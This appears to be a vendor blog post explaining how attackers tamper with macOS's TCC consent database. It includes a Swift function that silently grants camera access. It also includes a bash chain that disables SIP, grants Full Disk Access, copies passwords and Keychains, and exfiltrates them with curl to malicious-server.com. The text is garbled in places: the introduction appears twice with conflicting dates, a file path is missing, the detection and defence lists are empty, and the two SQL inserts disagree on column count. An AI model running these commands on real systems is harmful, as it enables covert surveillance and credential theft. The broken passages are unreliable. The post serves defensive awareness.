On the heels of releasing the macOS sensor earlier this week, its as good a time as ever to dig into some mac specific risks. Having spent the majority of my career attacking Windows its fun to peak under the macOS hood.

On the heels of releasing the macOS sensor in early 2025, it was as good a time as any to dig into some mac specific risks. Having spent the majority of my career attacking Windows its fun to peak under the macOS hood.
First up is TCC. In the ever-evolving landscape of endpoint security, certain threats operate with surgical precision rather than brute force. They don’t announce themselves with ransomware screens or system crashes, but instead silently reconfigure the guardrails designed to protect user privacy. Apple’s Transparency, Consent, and Control (TCC) framework represents one such critical boundary. Its vulnerability to manipulation creates an exploitable blind spot that security teams can’t afford to ignore.
macOS’s TCC framework serves as the intermediary between applications and sensitive user data. It’s the reason your Mac asks “Would you like to allow this application to access your camera?” or “Do you want to grant access to your location?” These prompts aren’t merely courtesies. They’re manifestations of a complex permissions architecture designed to prevent unauthorized access to privacy-sensitive resources.
But like any gatekeeper, TCC has its weakness: it ultimately stores its decisions in a SQLite database that, under the right circumstances, can be directly manipulated. This manipulation effectively circumvents the entire consent model, granting permissions that users never approved and may never know about.
Let’s examine how a malicious actor might bypass TCC protections. The TCC database is stored at:
The system-wide database is protected by System Integrity Protection (SIP), so writing to it requires first defeating SIP. The per-user database is a different story: SIP does not cover it, and TCC guards it directly, so a process that already holds Full Disk Access can open and modify it. Several avenues for manipulation remain available.
Here’s a concrete example of how an attacker with sufficient privileges could directly modify the TCC database to grant themselves camera access without user consent:
import Foundation
import SQLite3
func bypassTCCForCamera() -> Bool {
// Path to the user's TCC database
let tccPath = NSHomeDirectory() + "/Library/Application Support/com.apple.TCC/TCC.db"
var db: OpaquePointer?
// Open the database (requires sufficient privileges)
if sqlite3_open(tccPath, &db) != SQLITE_OK {
print("Error opening TCC database")
return false
}
defer { sqlite3_close(db) }
// Create SQL statement to insert/update permission
// service = kTCCServiceCamera, client = our app's bundle ID
let sql = """
INSERT OR REPLACE INTO access
VALUES ('kTCCServiceCamera', 'com.malicious.app', 0, 1, 1, NULL, NULL, NULL, 'UNUSED',
NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL);
"""
var errorMsg: UnsafeMutablePointer<CChar>?
// Execute the SQL statement
if sqlite3_exec(db, sql, nil, nil, &errorMsg) != SQLITE_OK {
print("SQL error: \(String(cString: errorMsg!))")
sqlite3_free(errorMsg)
return false
}
print("Successfully modified TCC database - camera access granted without consent")
return true
}This code essentially directly modifies the TCC database, creating a record that indicates the user has approved camera access for the application, even though no prompt was ever shown.
The technique above applies to the macOS versions where the local TCC database is reachable. The ground has since shifted. In macOS 27 (“Golden Gate,” September 2026), per Apple’s enterprise release notes, “apps can no longer access the local TCC database directly,” and a new tccutil list command reports current authorizations instead; researchers have also reported that the per-user database moved into a protected system container. None of that closes the structural weakness. Apple’s own macOS 27 security notes credit multiple researchers for TCC fixes, including CVE-2026-84589 (“an app may be able to modify Privacy preferences”), which is why watching for TCC tampering at runtime still earns its place.
This isn’t merely an academic concern. In 2020, security researcher Jeff Johnson demonstrated that even after macOS Catalina added significant TCC protections, applications could still bypass these controls by copying an app and keeping its bundle identifier, which the exception rules trusted. The XCSSET malware campaign abused TCC a different way: rather than writing to the database, it injected into an app that already held screen-capture permission and inherited it (CVE-2021-30713, fixed in macOS 11.4).
Researchers have catalogued a whole class of these bypasses. Wojciech Reguła and Csaba Fitzl documented more than twenty at Black Hat USA 2021, many of them leveraging legitimate applications with existing permissions as a proxy for reaching protected resources, the same move XCSSET used in the wild.
XCSSET is a reminder that this is not a lab exercise. It spread through infected Xcode projects, so the machines it reached belonged to developers, exactly the people whose credentials and source access make a TCC bypass worth an attacker’s time to build once and reuse.
The most sophisticated attacks rarely rely on a single technique. Instead, they combine multiple vulnerabilities to create a chain of exploitation. For TCC manipulation, this often begins with a privilege escalation vulnerability that grants administrative access, followed by TCC database modification, and concluding with exfiltration of sensitive data.
Consider this exploitation chain, inspired by documented attack patterns:
#!/bin/bash
# Step 1: Exploit privilege escalation vulnerability to gain admin rights
# (This would typically leverage a specific macOS vulnerability)
sudo -s
# Step 2: Temporarily disable SIP protection for TCC
# (Requires a separate vulnerability or physical access)
csrutil disable
# Step 3: Modify the global TCC database to grant our malware full disk access
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "INSERT OR REPLACE INTO access
VALUES('kTCCServiceSystemPolicyAllFiles','com.malware.backdoor',0,1,1,NULL,NULL,NULL,'UNUSED',NULL,NULL,0,NULL,NULL,
NULL);"
# Step 4: Re-enable SIP to avoid detection
csrutil enable
# Step 5: Use newly granted permissions to access sensitive data
cp ~/Documents/passwords.txt /tmp/stolen_data/
cp ~/Library/Keychains/* /tmp/stolen_data/
# Step 6: Exfiltrate the data
curl -F "data=@/tmp/stolen_data.zip" https://malicious-server.com/uploadWhile simplified, this example illustrates how TCC manipulation is typically one component of a more comprehensive attack strategy. The most concerning aspect is that once TCC has been modified, the attacker gains persistent access to sensitive resources without triggering additional security prompts.
SIP has not held as cleanly as its design implies. Installer-daemon bypasses have surfaced and been patched more than once, including the system_installd flaw Microsoft documented as “Shrootless” (CVE-2021-30892).
Given the stealth of TCC manipulation, how can security teams detect these attacks? Several indicators can help identify potential TCC database tampering:
Protecting against TCC manipulation requires a multi-layered approach:
The vulnerability of TCC to manipulation highlights a more fundamental security challenge: systems designed to protect privacy are only as strong as their most vulnerable component. When those components can be undermined, privacy protection becomes more illusion than reality.
For security professionals, the lesson extends beyond TCC. Any system that relies on consent mechanisms, whether for data access, device permissions, or authentication, must be scrutinized not just for its interface but for the integrity of its underlying implementation. The most elegant privacy prompt becomes meaningless if an attacker can simply flip bits in a database to bypass it.
Sometimes the most concerning threats aren’t the ones trying to break down walls but those that quietly replace the locks on existing doors. For users, organizations, and especially security teams, understanding and monitoring these subtle attack vectors becomes increasingly crucial.
The next time your Mac asks for permission to access your camera, remember that somewhere, there’s a database recording that decision, and like any database, it’s only as secure as the systems protecting it. In the meantime, we’ll keep watching to ensure that when users think they’ve denied access to sensitive resources, that denial actually sticks.
Many exploitable vulnerabilities never get a CVE. Book a demo to see how Spektion finds what's actually exploitable across your endpoints.